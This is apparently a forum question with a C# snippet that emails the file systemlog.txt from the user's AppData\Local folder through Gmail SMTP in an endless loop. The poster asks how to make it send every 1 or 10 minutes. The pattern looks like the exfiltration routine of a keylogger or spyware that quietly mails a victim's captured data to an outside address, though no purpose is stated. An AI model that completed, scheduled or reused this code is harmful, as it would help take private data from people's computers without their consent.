while (true) { Thread.Sleep(1); MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); mail.From = new MailAddress(""); mail.To.Add(""); mail.Subject = "Test Mail"; mail.Attachments.Add(new Attachment(@"C:\Users\"+ Environment.UserName + @"\AppData\Local\systemlog.txt")); mail.Body = "This is for testing SMTP mail from GMAIL"; SmtpServer.Port = 587; SmtpServer.Credentials = new System.Net.NetworkCredential("", ""); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); Application.DoEvents(); }
Hey i want that the email were sendet every 10 minutes or 1 minute but Thread.Sleep(1); doesnt work i need help please thanks (;